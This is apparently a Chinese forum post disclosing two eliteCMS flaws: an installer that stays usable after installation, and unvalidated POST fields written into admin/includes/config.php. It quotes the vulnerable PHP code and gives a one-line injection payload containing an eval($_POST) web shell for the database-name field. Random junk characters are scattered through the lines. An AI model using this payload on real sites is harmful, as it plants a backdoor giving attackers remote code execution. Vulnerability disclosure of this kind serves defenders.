eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
  O4 B3 {1 c' E9 C0 b我们来看代码：
' e* H. N9 h& `! I' G
1 p+ M  S9 {: G$ r' z...
& r7 ~  o; N6 j+ xelseif ($_GET['step'] == "4") {
, I8 p. b5 I# Y5 x* j( |    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
8 f( _! L7 _8 ]/ @  Y/ m    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 d: ^* Z) f3 m) b& A0 f3 O...略...
    $write .= "*\n";
& H" }2 Z/ C7 k  M! k3 h' e    $write .= "*/\n";
    $write .= "\n";
3 q: O5 K1 Q( `5 S7 O: ]    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
6 o( b& f& k( p/ L( T    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
) }( s. i+ \; _    $write .= "        \n";
0 U7 h: M4 F1 ?9 j! V    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
0 \; `8 \6 T0 i. |4 P$ R    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
& K) r/ Z" Y& `    $write .= "?>\n";

1 T- J/ {! p$ {7 d    $writer = fopen($file, 'w');
...

4 M6 F. T  `0 A' R! G/ B: w. S在看代码：
  J' ?( r9 l5 t9 a: v
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 @# R* y0 T& f6 P$ D$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
, p" v* J# {, s  P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
; D6 U; H9 d$ a
* {8 u. M$ `+ X! Y  K取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

, d8 p) ]1 w. X5 g: H) @将导致一句话后门写入/admin/includes/config.php